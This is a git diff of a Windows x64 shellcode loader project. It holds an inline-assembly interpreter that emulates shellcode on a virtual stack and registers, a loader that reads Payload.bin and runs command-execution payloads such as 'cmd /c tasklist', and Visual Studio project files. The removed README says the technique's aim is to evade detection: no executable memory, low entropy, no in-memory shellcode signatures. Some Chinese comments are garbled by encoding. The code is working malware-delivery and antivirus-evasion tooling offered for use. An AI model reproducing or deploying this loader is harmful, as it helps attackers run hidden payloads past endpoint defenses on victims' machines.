ptr[rax] + mov rax, qword ptr[vtRegs] + mov qword ptr[rax + 0x80], rcx // vtRIP + notJmp: + } + } + else if (mnemonicIndex> nopIndex) { + if (opAddr1 == NULL) { + return 2; + } + if (opAddr2 != NULL) { + __asm { + mov r12, qword ptr[opAddr2] + mov r12, qword ptr[r12] + } + } + __asm { + mov r10, qword ptr[opAddr1] + mov r11, qword ptr[r10] + } + if (mnemonicIndex == movIndex || mnemonicIndex == movabsIndex || mnemonicIndex == leaIndex) { + __asm { + mov r11, r12 + } + } + else if (mnemonicIndex == addIndex) { + __asm { + add r11, r12 + } + } + else if (mnemonicIndex == incIndex) { + __asm { + inc r11 + } + } + else if (mnemonicIndex == subIndex) { + __asm { + sub r11, r12 + } + } + else if (mnemonicIndex == decIndex) { + __asm { + dec r11 + } + } + else if (mnemonicIndex == andIndex) { + __asm { + and r11, r12 + } + } + else if (mnemonicIndex == orIndex) { + __asm { + or r11, r12 + } + } + else if (mnemonicIndex == xorIndex) { + __asm { + xor r11, r12 + } + } + if (opBit1 == 'q') { + __asm { + mov qword ptr[r10], r11 + } + } + else if (opBit1 == 'd') { + if (opType1 == 'r') { + __asm { + mov qword ptr[r10], r11 + } + } + else { + __asm { + mov dword ptr[r10], r11d + } + } + } + else if (opBit1 == 'w') { + __asm { + mov word ptr[r10], r11w + } + } + else if (opBit1 == 'b') { + __asm { + mov byte ptr[r10], r11b + } + } + } + else if (mnemonicIndex != nopIndex) { + if (mnemonicIndex == pushIndex) { + vtRegs[14] -= sizeof(DWORD_PTR); + *(PDWORD_PTR)(vtRegs[14]) = *(PDWORD_PTR)(opAddr1); + } + else if (mnemonicIndex == popIndex) { + *(PDWORD_PTR)(opAddr1) = *(PDWORD_PTR)(vtRegs[14]); + vtRegs[14] += sizeof(DWORD_PTR); + } + else if (mnemonicIndex == callIndex) { + DWORD_PTR realRSP; + DWORD_PTR callAddr = *(PDWORD_PTR)opAddr1; + // BOF �ڲ��������� + if (callAddr < 0xFFFF) { + vtRegs[14] -= sizeof(DWORD_PTR); + *(PDWORD_PTR)vtRegs[14] = vtRegs[16] + 5; + vtRegs[16] = callAddr; + } + else { + __asm { + // ������ɻջ�� + mov realRSP, rsp + // �����Ĵ��� ���� ��ɻ�Ĵ��� + mov rax, qword ptr[vtRegs] + mov rbx, qword ptr[rax + 0x08] + mov rcx, qword ptr[rax + 0x10] + mov rdx, qword ptr[rax + 0x18] + mov rsi, qword ptr[rax + 0x20] + mov rdi, qword ptr[rax + 0x28] + mov r8, qword ptr[rax + 0x30] + mov r9, qword ptr[rax + 0x38] + mov r10, qword ptr[rax + 0x40] + mov r11, qword ptr[rax + 0x48] + mov r12, qword ptr[rax + 0x50] + mov r13, qword ptr[rax + 0x58] + mov r14, qword ptr[rax + 0x60] + mov r15, qword ptr[rax + 0x68] + mov rsp, qword ptr[rax + 0x70] + mov rax, qword ptr[rax] + // ���� Windows API + call callAddr + // ��ɻ�Ĵ��� ���� �����Ĵ��� + push rax + mov rax, qword ptr[vtRegs] + mov qword ptr[rax + 0x08], rbx + mov qword ptr[rax + 0x10], rcx + mov qword ptr[rax + 0x18], rdx + mov qword ptr[rax + 0x20], rsi + mov qword ptr[rax + 0x28], rdi + mov qword ptr[rax + 0x30], r8 + mov qword ptr[rax + 0x38], r9 + mov qword ptr[rax + 0x40], r10 + mov qword ptr[rax + 0x48], r11 + mov qword ptr[rax + 0x50], r12 + mov qword ptr[rax + 0x58], r13 + mov qword ptr[rax + 0x60], r14 + mov qword ptr[rax + 0x68], r15 + pop rcx + mov qword ptr[rax + 0x70], rsp + mov qword ptr[rax], rcx + // ��ԭ��ɻջ�� + mov rsp, realRSP + } + } + } + else if (mnemonicIndex == retIndex) { + vtRegs[16] = *(PDWORD_PTR)vtRegs[14]; + vtRegs[14] += sizeof(DWORD_PTR); + } + else if (mnemonicIndex == movzxIndex) { + __asm { + mov r10, qword ptr[opAddr1] + mov r11, qword ptr[r10] + mov r12, qword ptr[opAddr2] + mov r12, qword ptr[r12] + } + if (opBit1 == 'q' || opBit1 == 'd') { + if (opBit2 == 'w') { + __asm { + movzx r11, r12w + } + } + else { + __asm { + movzx r11, r12b + } + } + } + else { + __asm { + movzx r11w, r12b + } + } + __asm { + mov qword ptr[r10], r11 + } + } + else if (mnemonicIndex == movsxdIndex) { + *(PDWORD64)opAddr1 = *(PDWORD)opAddr2; + } + else if (mnemonicIndex == cmpIndex) { + __asm { + mov r11, qword ptr[opAddr1] + mov r11, qword ptr[r11] + mov r12, qword ptr[opAddr2] + mov r12, qword ptr[r12] + // opBit1 == 'q' + movsx eax, byte ptr[opBit1] + cmp eax, 0x71 + jne checkDWORD + cmp r11, r12 + jmp setEFL + // opBit1 == 'd' + checkDWORD: + cmp eax, 0x64 + jne checkWORD + cmp r11d, r12d + jmp setEFL + // opBit1 == 'w' + checkWORD: + cmp eax, 0x77 + jne checkBYTE + cmp r11w, r12w + jmp setEFL + // opBit1 == 'b' + checkBYTE: + cmp r11b, r12b + setEFL: + pushf + pop rax + mov rcx, qword ptr[vtRegs] + mov qword ptr[rcx + 0x88], rax // vtEFL + } + } + else if (mnemonicIndex == testIndex) { + __asm { + mov r11, qword ptr[opAddr1] + mov r11, qword ptr[r11] + mov r12, qword ptr[opAddr2] + mov r12, qword ptr[r12] + // opBit1 == 'q' + movsx eax, byte ptr[opBit1] + cmp eax, 0x71 + jne checkDWORD + test r11, r12 + jmp setEFL + // opBit1 == 'd' + checkDWORD: + cmp eax, 0x64 + jne checkWORD + test r11d, r12d + jmp setEFL + // opBit1 == 'w' + checkWORD: + cmp eax, 0x77 + jne checkBYTE + test r11w, r12w + jmp setEFL + // opBit1 == 'b' + checkBYTE: + test r11b, r12b + setEFL: + pushf + pop rax + mov rcx, qword ptr[vtRegs] + mov qword ptr[rcx + 0x88], rax // vtEFL + } + } + else if (mnemonicIndex == shlIndex) { + if (opBit1 == 'q') { + *(PDWORD64)opAddr1 <<= *(PDWORD64)opAddr2; + } + else if (opBit1 == 'd') { + if (opType1 == 'r') { + *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr1 << *(PDWORD)opAddr2; + } + else { + *(PDWORD)opAddr1 <<= *(PDWORD)opAddr2; + } + } + else if (opBit1 == 'w') { + *(PWORD)opAddr1 <<= *(PWORD)opAddr2; + } + else if (opBit1 == 'b') { + *(PBYTE)opAddr1 <<= *(PBYTE)opAddr2; + } + } + else if (mnemonicIndex == shrIndex) { + if (opBit1 == 'q') { + *(PDWORD64)opAddr1>>= *(PDWORD64)opAddr2; + } + else if (opBit1 == 'd') { + if (opType1 == 'r') { + *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr1>> *(PDWORD)opAddr2; + } + else { + *(PDWORD)opAddr1>>= *(PDWORD)opAddr2; + } + } + else if (opBit1 == 'w') { + *(PWORD)opAddr1>>= *(PWORD)opAddr2; + } + else if (opBit1 == 'b') { + *(PBYTE)opAddr1>>= *(PBYTE)opAddr2; + } + } + } + + if (vtRegs[16] != vtRIP) { + return 1; + } + return 0; } \ No newline at end of file diff --git a/Loader/Interpreter.h b/Loader/Interpreter.h index 0991e60..59b0045 100644 --- a/Loader/Interpreter.h +++ b/Loader/Interpreter.h @@ -1,3 +1,11 @@ -#pragma once +#ifndef INTERPRETER_H +#define INTERPRETER_H -void MagicInvoke(char* selfAsm, char* commandPara, char** pCommandOutput, int* pCommandOutputLength, PVOID* pFuncAddr); \ No newline at end of file +#include +#include + +using namespace std; + +int RunPayload(PBYTE pPayload, int payloadSize, int bofFuncHash, char* commandPara, int commandParaLen, char*& outputData, int& outputDataLen, PVOID specialParaList[]); + +#endif \ No newline at end of file diff --git a/Loader/Loader.cpp b/Loader/Loader.cpp index 589e28d..5e57007 100644 --- a/Loader/Loader.cpp +++ b/Loader/Loader.cpp @@ -1,24 +1,48 @@ -#include -#include +#include "Interpreter.h" -#include "Interpreter.h" - -using namespace std; +/* +* ⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️ +* 1.Release x64 +* 2.常规 +* 平台工具集(LLVM (clang-cl)) +* 3.C/C++ +* 优化: 优化(已禁用) +* 代码生成: 运行库(多线程); 安全检查(禁用安全检查) +* 4.链接器 +* 清单文件: 生成清单(否) +* 调试: 生成调试信息(否) +*/ int main() { - // 自定义汇编 - char selfAsm[] = "0_4_q_pq70+i20_q_q38_5_4_q_pq70+i18_q_q30_a_4_q_pq70+i10_q_q18_f_4_q_pq70+i8_q_q10_14_0_q_q28_q__15_9_q_q70_q_i120_1c_4_d_pq70+i78_d_i18_24_4_d_pq70+i88_d_i1_2f_4_q_pq70+i80_q_i0_3b_4_d_d0_d_i8_40_6_q_q0_q_lq0+q0_44_11_d_d38_d_d38_47_6_q_q30_q_lq70+i78_4c_6_q_q18_q_lq70+i58_51_6_q_q10_q_lq70+i60_56_4_q_q40_q_pq70+i148_5e_2_q_pq40+q0_q__62_12_d_d0_d_d0_64_17_q_i6b_q__66_15_q_i2bb_q__6b_6_q_q0_q_lq70+ib0_73_4_q_q28_q_q0_76_11_d_d0_d_d0_78_4_d_d10_d_i68_7d_14_b_pq28_b_b0_7f_4_d_pq70+ib0_d_i68_8a_4_q_q0_q_pq70+i58_8f_4_q_pq70+i110_q_q0_97_4_q_q0_q_pq70+i58_9c_4_q_pq70+i108_q_q0_a4_11_d_d0_d_d0_a6_4_w_pq70+if0_w_w0_ae_4_d_pq70+iec_d_i101_b9_4_d_d0_d_i8_be_4_q_q8_q_q0_bf_6_q_q0_q_lq0+q0_c1_6_q_q0_q_lq0+q8_c2_6_q_q10_q_lq70+i90_ca_4_q_pq70+i48_q_q10_cf_6_q_q10_q_lq70+ib0_d7_4_q_pq70+i40_q_q10_dc_4_q_pq70+i38_q_i0_e5_4_q_pq70+i30_q_i0_ee_4_d_pq70+i28_d_i0_f6_4_d_pq70+i20_d_i1_fe_11_d_d38_d_d38_101_11_d_d30_d_d30_104_4_q_q18_q_pq70+i130_10c_11_d_d10_d_d10_10e_4_q_q28_q_pq70+i148_116_2_q_pq28+q0_q__119_12_d_d0_d_d0_11b_17_q_i154_q__11d_4_d_d0_d_i8_122_6_q_q0_q_lq0+q0_123_6_q_q0_q_lq0+q0_126_4_q_q10_q_pq70+i60_12b_4_q_q18_q_pq70+i148_133_2_q_pq18+q0_q__136_4_d_d0_d_i8_13b_6_q_q0_q_lq0+q0_13c_6_q_q0_q_lq0+q0_13f_4_q_q10_q_pq70+i58_144_4_q_q18_q_pq70+i148_14c_2_q_pq18+q0_q__14f_15_q_i2bb_q__154_4_d_d0_d_i8_159_6_q_q0_q_lq0+q0_15a_6_q_q0_q_lq0+q0_15d_4_q_q10_q_pq70+i58_162_4_q_q18_q_pq70+i148_16a_2_q_pq18+q0_q__16d_4_d_d0_d_i8_172_6_q_q0_q_lq0+q0_173_6_q_q0_q_lq0+q0_176_4_q_q10_q_pq70+i98_17e_4_q_q18_q_pq70+i148_186_2_q_pq18+q0_q__189_4_d_d0_d_i8_18e_6_q_q0_q_lq0+q0_18f_6_q_q0_q_lq0+q0_192_4_q_q10_q_pq70+i90_19a_4_q_q18_q_pq70+i148_1a2_2_q_pq18+q0_q__1a5_4_q_q0_q_pq70+i140_1ad_4_d_pq0_d_i0_1b3_4_d_d0_d_i8_1b8_4_q_q0_q_i0_1bc_4_d_d10_d_ifa_1c1_4_q_q18_q_pq70+i148_1c9_2_q_pq18+q0_q__1cc_4_q_q10_q_pq70+i138_1d4_4_q_pq10_q_q0_1d7_4_q_q0_q_pq70+i140_1df_5_q_q0_d_pq0_1e2_4_q_q10_q_pq70+i138_1ea_7_q_q0_q_pq10_1ed_4_d_d10_d_i8_1f2_4_q_q8_q_q10_1f3_6_q_q10_q_lq10+q10_1f4_6_q_q10_q_lq10+q10_1f5_6_q_q10_q_lq10+q8_1f6_4_q_pq70+i68_q_q10_1fb_4_q_pq70+i20_q_i0_204_6_q_q38_q_lq70+i50_209_4_d_d30_d_i64_20f_4_q_q18_q_q0_212_4_q_q10_q_pq70+i60_217_4_q_q0_q_pq70+i148_21f_4_q_q28_q_pq70+i68_224_2_q_pq0+q28_q__227_12_d_d0_d_d0_229_16_q_i2a2_q__22b_10_d_pq70+i50_d_i0_230_16_q_i2a2_q__232_4_q_q0_q_pq70+i140_23a_4_d_d0_d_pq0_23c_7_d_d0_d_pq70+i50_240_4_q_q10_q_pq70+i140_248_4_d_pq10_d_d0_24a_4_q_q0_q_pq70+i140_252_10_d_pq0_d_i64_255_18_q_i29d_q__257_4_q_q0_q_pq70+i140_25f_4_d_d0_d_pq0_261_7_d_d0_d_i64_264_13_q__q__266_4_d_d10_d_i8_26f_4_q_pq70+i70_q_q10_274_4_q_q18_q_q0_277_4_q_q0_q_pq70+i138_27f_4_q_q10_q_pq0_282_4_q_q0_q_pq70+i148_28a_4_q_q28_q_pq70+i70_28f_2_q_pq0+q28_q__292_4_q_q10_q_pq70+i138_29a_4_q_pq10_q_q0_29d_15_q_i1d7_q__2a2_4_d_d0_d_i8_2a7_6_q_q0_q_lq0+q0_2a8_6_q_q0_q_lq0+q0_2ab_4_q_q10_q_pq70+i60_2b0_4_q_q18_q_pq70+i148_2b8_2_q_pq18+q0_q__2bb_7_q_q70_q_i120_2c2_1_q_q28_q__2c3_3_q__q__!"; - - // ShellCode 参数 - char commandPara[] = "cmd /c tasklist"; - char* commandOutput; - int commandOutputLength; - PVOID funcAddr[] = { malloc, realloc, CreatePipe, CreateProcessA, CloseHandle, ReadFile }; + // 读取 Payload + HANDLE hFile = CreateFileA("..\\Converter\\Payload.bin", GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + cout << "Failed to open Payload.bin." << endl; + return 0; + } + DWORD payloadSize = GetFileSize(hFile, NULL); + PVOID pPayload = malloc(payloadSize); + if (pPayload == NULL) { + return 0; + } + DWORD readFileLen; + ReadFile(hFile, pPayload, payloadSize, &readFileLen, NULL); - // 调用解释器 - MagicInvoke(selfAsm, commandPara, &commandOutput, &commandOutputLength, funcAddr); + char* commandPara = "cmd /c tasklist"; + int commandParaLen = strlen(commandPara) + 1; + char* outputData; + int outputDataLen = 0; + PVOID specialParaList[] = { NULL }; + if (RunPayload((PBYTE)pPayload, payloadSize, -504283653, commandPara, commandParaLen, outputData, outputDataLen, specialParaList) && outputDataLen> 0) { + *(outputData + outputDataLen) = '0円'; + cout << outputData << endl; + } - // ShellCode 输出 - *(commandOutput + commandOutputLength) = '0円'; - cout << commandOutput; + commandPara = "C:\\Windows\\System32\\*"; + commandParaLen = strlen(commandPara) + 1; + outputDataLen = 0; + if (RunPayload((PBYTE)pPayload, payloadSize, 1280936002, commandPara, commandParaLen, outputData, outputDataLen, specialParaList) && outputDataLen> 0) { + *(outputData + outputDataLen) = '0円'; + cout << outputData << endl; + } } \ No newline at end of file diff --git a/Loader/Loader.sln b/Loader/Loader.sln new file mode 100644 index 0000000..a766113 --- /dev/null +++ b/Loader/Loader.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.11.35312.102 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loader", "Loader.vcxproj", "{5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}.Debug|x64.ActiveCfg = Debug|x64 + {5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}.Debug|x64.Build.0 = Debug|x64 + {5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}.Debug|x86.ActiveCfg = Debug|Win32 + {5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}.Debug|x86.Build.0 = Debug|Win32 + {5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}.Release|x64.ActiveCfg = Release|x64 + {5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}.Release|x64.Build.0 = Release|x64 + {5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}.Release|x86.ActiveCfg = Release|Win32 + {5BC9ECA5-8C48-4ACD-A7C0-297433B2C618}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {84E6B0CC-10E4-439D-A837-4817E35418D1} + EndGlobalSection +EndGlobal diff --git a/Loader/Loader.vcxproj b/Loader/Loader.vcxproj new file mode 100644 index 0000000..2fc55f9 --- /dev/null +++ b/Loader/Loader.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {5bc9eca5-8c48-4acd-a7c0-297433b2c618} + Loader + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + ClangCL + Unicode + + + Application + false + ClangCL + true + Unicode + + + + + + + + + + + + + + + + + + + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + false + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + Disabled + false + + + Console + true + true + false + + + + + + + + + + + + + \ No newline at end of file diff --git a/Loader/Loader.vcxproj.filters b/Loader/Loader.vcxproj.filters new file mode 100644 index 0000000..43dbd92 --- /dev/null +++ b/Loader/Loader.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + 源文件 + + + + + 头文件 + + + \ No newline at end of file diff --git a/Loader/Loader.vcxproj.user b/Loader/Loader.vcxproj.user new file mode 100644 index 0000000..14a4920 --- /dev/null +++ b/Loader/Loader.vcxproj.user @@ -0,0 +1,6 @@ + + + + WindowsLocalDebugger + + \ No newline at end of file diff --git "a/Loader/345円277円205円350円246円201円351円205円215円347円275円256円.txt" "b/Loader/345円277円205円350円246円201円351円205円215円347円275円256円.txt" deleted file mode 100644 index 3231bfd..0000000 --- "a/Loader/345円277円205円350円246円201円351円205円215円347円275円256円.txt" +++ /dev/null @@ -1,5 +0,0 @@ -Visual Studio Installer ------> 单个组件 ------> LLVM (clang-cl) + Clang ------> 安装 - -Visual Studio ------> 项目属性 ------> 常规 ------> 平台工具集 (LLVM (clang-cl)) - -配置完成后可直接运行 diff --git a/README.md b/README.md index 9575015..6d21ebe 100644 --- a/README.md +++ b/README.md @@ -1,497 +1,131 @@ -# No_X_Memory_ShellCodeLoader - -### 1. 介绍 - -无可执行权限加载 ShellCode - -项目:https://github.com/HackerCalico/No_X_Memory_ShellCodeLoader - -博客:https://hackercalico.github.io/No_X_Memory_ShellCodeLoader.html - -该技术是我在 2024 年初首次提出的,当时发布了一个非常简单的 x86 小样例来证明可行性。因为今年时间过于紧张,直到现在我才发布了 x64 版本,可以说是一个相当完备的版本。 - -我为此突破感到激动! - -### 2. 规避优势 - -无需解密,无需 X 内存,直接加载运行 R 内存中的 ShellCode 密文。 - -避免或缓解了以下特征: - -(1) 熵值过高。 - -(2) 申请 RWX 属性的内存。 - -(3) 来回修改 RW 和 RX 的内存属性。 - -(4) 内存中出现 ShellCode 特征码。 - -### 3. 加载流程 - -(1) 正常生成 ShellCode 机器码。 - -(2) ShellCode --- 转换器 ---> 自定义汇编指令。 - -(3) 解释器 运行 自定义汇编指令。 - -### 4. 项目文件 - -ExecuteCmd ShellCode:CMD 命令执行 ShellCode。 - -Converter:自定义汇编指令转换器。 - -```bash -pip install capstone -``` - -Loader:ShellCode 加载器 (Clang 支持 x64 内联汇编)。 - -Visual Studio Installer ------> 单个组件 ------> LLVM (clang-cl) + Clang ------> 安装 - -Visual Studio ------> 项目属性 ------> 常规 ------> 平台工具集 (LLVM (clang-cl)) - -### 5. 技术原理 - -(1) ShellCode 分析 - -ShellCode 是一段地址无关机器码,可以直接运行而无需进行 PE 加载处理,具有较高的熵值。有的 ShellCode 加载器直接把 ShellCode 密文存储到 RWX 内存,再解密运行。有的先将 ShellCode 密文存储到 RW 内存进行解密,再改为 RX 内存运行。 - -下面以 MessageBox 的 ShellCode 为例进行分析: - -ShellCode 源码: - -```c -#include -#include - -/* -* 1.C/C++ -* 常规: SDL检查(否) -* 优化: 优化(已禁用) -* 代码生成: 运行库(多线程)、安全检查(禁用安全检查) -* 2.链接器 -* 清单文件: 生成清单(否) -* 调试: 生成调试信息(否) -*/ - -typedef int(WINAPI* pMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT); - -#pragma code_seg(".shell") - -void MyMessageBoxA(pMessageBoxA funcMessageBoxA) { - char text[] = { '0円' }; - funcMessageBoxA(0, text, text, MB_ICONINFORMATION); -} - -#pragma code_seg(".text") - -int main() { - MyMessageBoxA(MessageBoxA); -} -``` - -编译生成 EXE 后,即可从 .shell 段提取出 ShellCode 机器码,也就是 MyMessageBoxA 函数的汇编指令的硬编码。 - -硬编码与汇编指令相对应: - -```c -48 89 4C 24 08 ------> MOV QWORD PTR [RSP + 8], RCX -48 83 EC 38 ------> SUB RSP, 0X38 -C6 44 24 20 00 ------> MOV BYTE PTR [RSP + 0X20], 0 -41 B9 40 00 00 00 ------> MOV R9D, 0X40 -4C 8D 44 24 20 ------> LEA R8, [RSP + 0X20] -48 8D 54 24 20 ------> LEA RDX, [RSP + 0X20] -33 C9 ------> XOR ECX, ECX -FF 54 24 40 ------> CALL QWORD PTR [RSP + 0X40] -48 83 C4 38 ------> ADD RSP, 0X38 -C3 ------> RET -``` - -可以说,运行 ShellCode 即运行对应的汇编指令。 - -(2) 解释器分析 - -解释器是一种逐行对代码进行词法、语法、语义等分析进行运行的程序。 - -只要实现了汇编指令的解释器,就可以通过解释器来运行汇编指令文本,达到加载 ShellCode 的效果。 - -因为汇编指令原始文本较复杂,不容易逐条解析指令的内容,本项目实现了自定义汇编指令的转换器,将其转为更容易解析的自定义汇编指令。 - -解释器在逐条解释自定义汇编指令时,不应该将相应指令的操作实现在真实环境中。比如当前解释的指令为 mov rsp, 0x00,此时不应该将真实 RSP 寄存器改为 0x00,这样会导致解释器本身错误。正确的做法是实现虚拟寄存器和虚拟栈,将虚拟的 vtRSP 改为 0x00。 - -在解释 Windows API 的调用指令时,应设法实现真实 Windows API 的调用,这也是 ShellCode 功能的意义。可行的办法是先将虚拟寄存器的值赋值到真实寄存器,此时 Windows API 的参数为构造完整的状态,之后直接调用 Windows API 即可成功。 - -具体的技术细节请结合下文及项目源码进行查看。 - -### 6. 转换器实现 - -为了减轻解释器的压力,我们的自定义汇编指令一定要设计成容易解释的格式。 - -下面对本项目提供的 CMD 命令执行 ShellCode 案例进行讲解: - -**(1) 生成原始汇编指令** - -使用 Converter.py 将 ShellCode 机器码 (ShellCode.txt) 转为原始汇编指令 (asm.txt)。 - -该功能简单利用 capstone 库实现。 - -```bash -> python Converter.py -1.反汇编 -2.生成自定义汇编指令 -选择: 1 -ShellCode使用的汇编指令: {'call', 'cdqe', ......, 'jne'} -自定义汇编指令未实现: imul -汇编指令生成完毕(未考虑负数,格式应为0x-1): asm.txt -``` - -asm.txt - -```c -0x0_mov_qword ptr [rsp + 0x20], r9 -0x5_mov_qword ptr [rsp + 0x18], r8 -0xa_mov_qword ptr [rsp + 0x10], rdx -...... -``` - -**(2) 修改 asm.txt** - -考虑到原始汇编指令可能存在一些棘手的情况,需要进行修改。所以我将转换过程分为了先转为原始汇编指令,再转为自定义汇编指令两个阶段。 - -观察原始汇编指令,可以发现存在 imul 指令。该指令存在三个操作数,需要单独处理。我们直接把它改成 lea 等效指令,在改的时候需要格外注重格式。 - -例如: - -0x122_imul_rax, rax, 0x4 - -改为 - -0x122_lea_rax, [rax + rax] - -0x123_lea_rax, [rax + rax] - -**(3) 生成自定义汇编指令** - -使用 Converter.py 读取 asm.txt 转为自定义汇编指令。 - -```bash -> python Converter.py -1.反汇编 -2.生成自定义汇编指令 -选择: 2 -0_4_q_pq70+i20_q_q38_......2c3_3_q__q__! -PVOID mnemonicMapping[] = { Push, Pop, ......, Jle }; -``` - -0_4_q_pq70+i20_q_q38 为第一条自定义汇编指令,! 为整个自定义汇编指令的结尾标志。 - -第一条的原始汇编指令:0x00 mov qword ptr [rsp + 0x20], r9 - -指令地址:0x00 ------> 0 - -在处理 Jcc 跳转指令时需要使用,去掉 0x 减短长度。 - -助记符:mov ------> 4 - -4 为 mov 在 mnemonicMap 中的下标。 - -解释器逐条指令解析,通过下标获取 mnemonicMap 中当前指令的处理函数指针,进行反射调用。避免了解释器代码中出现大量 if else 或 switch case。 - -操作数1:qword ptr [rsp + 0x20] ------> q_pq70+i20 - -q 表示 QWORD,p 表示 ptr。 - -q70 表示 RSP。在解释器中通过 vtRegs 数组存储虚拟寄存器的值,70 是 vtRSP 相对 vtRegs 基址的偏移,直接通过地址操作寄存器的值。避免了解释器代码中出现大量不同位数的寄存器的定义,以及繁琐操作。 - -i20 表示立即数 0x20。 - -操作数2:r9 ------> q_q38 - -q 表示 QWORD。 - -q38 表示 R9,同理偏移。 - -### 7. 解释器实现 - -**(1) 创建虚拟栈和虚拟寄存器** - -```c -PVOID vtStack = malloc(0x10000); - -DWORD_PTR vtRegs[18] = { 0 }; -vtRegs[14] = vtRegs[15] = (DWORD_PTR)vtStack + 0x9000; -``` - -14 和 15 分别对应 vtRSP 和 vtRBP - -**(2) 设置虚拟寄存器的初值** - -因为解释器是从 ShellCode 函数的开头进行模拟的,所以在模拟开始之前,要先在虚拟空间中构建出 ShellCode 函数的参数。 - -本项目提供的 CMD 命令执行 ShellCode 函数通过以下代码调用: - -```c -ExecuteCmd(commandPara, &commandOutput, &commandOutputLength, funcAddr); -``` - -该行代码对应的汇编指令: - -```c -mov r9,qword ptr [pFuncAddr] -mov r8,qword ptr [pCommandOutputLength] -mov rdx,qword ptr [pCommandOutput] -mov rcx,qword ptr [commandPara] -call ShellCode -``` - -所以要通过以下代码设置虚拟寄存器的初值: - -```c -vtRegs[7] = (DWORD_PTR)pFuncAddr; -vtRegs[6] = (DWORD_PTR)pCommandOutputLength; -vtRegs[3] = (DWORD_PTR)pCommandOutput; -vtRegs[2] = (DWORD_PTR)commandPara; -vtRegs[14] = vtRegs[14] - sizeof(DWORD_PTR); -``` - -**(3) 解析自定义汇编指令** - -根据 指令地址_位数1_操作数1_位数2_操作数2 的格式将每条指令的元素解析出来。 - -通过 GetOpTypeAndAddr 函数获取每个操作数的类型和地址,每种指令的处理函数会直接通过操作数的地址对其值进行操作,非常方便。 - -如果操作数是立即数,例如 i12 (0x12)。则直接通过 strtol 函数将 12 字符串转为数字,该数字的地址即为该操作数的地址。 - -如果操作数是 lea 的第二个操作数或内存空间,例如 lq70+i20 ([rsp + 0x20]) 或 pq70+i20 (ptr [rsp + 0x20])。则先解析其子元素进行计算,计算结果保存到 number1。如果操作数是 lea 的第二个操作数,则 number1 的地址即为该操作数的地址。如果操作数是内存空间,则 number1 的值即为该操作数的地址。 - -如果操作数是寄存器,例如 q70 (rsp)。70 是 vtRSP 相对 pVtRegs 基址的偏移,则 pVtRegs 基址 + 70 即为该操作数的地址。 - -```c -// 获取操作数值的 类型(r寄存器/m内存空间) + 地址 -DWORD_PTR GetOpTypeAndAddr(char* op, char* pOpType1, PDWORD_PTR pVtRegs, PDWORD_PTR opNumber) { - ...... - // 立即数 - if (op[0] == 'i') { - *opNumber = strtol(op + 1, &endPtr, 16); - return (DWORD_PTR)opNumber; - } - // lea [] / ptr [] - else if (op[0] == 'l' || op[0] == 'p') { - ...... - // 解析算式 (未考虑"*") - ParseFormula(op + 1, formula, symbols); - // 计算 (未考虑"*") - DWORD_PTR number1 = 0; - ...... - // lea [] - if (op[0] == 'l') { - *opNumber = number1; - return (DWORD_PTR)opNumber; - } - // ptr [] - if (pOpType1 != NULL) { - *pOpType1 = 'm'; - } - return number1; - } - // 寄存器 - else { - if (pOpType1 != NULL) { - *pOpType1 = 'r'; - } - return (DWORD_PTR)pVtRegs + strtol(op + 1, &endPtr, 16); - } -} -``` - -**(4) 调用对应指令的处理函数** - -通过解析得到的当前指令的下标获取当前指令的处理函数指针。 - -```c -PVOID mnemonicMapping[] = { Push, Pop, ......, Jle }; -PVOID instructionFunc = mnemonicMapping[mnemonicIndex]; -``` - -下面举几种指令的处理函数的例子: - -Mov 指令 - -```c -((void(*)(...))instructionFunc)(opType1, opBit1, opAddr1, opBit2, opAddr2); -``` - -```c -void Mov(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) { - switch (opBit1) - { - case 'q': - *(PDWORD64)opAddr1 = *(PDWORD64)opAddr2; - break; - case 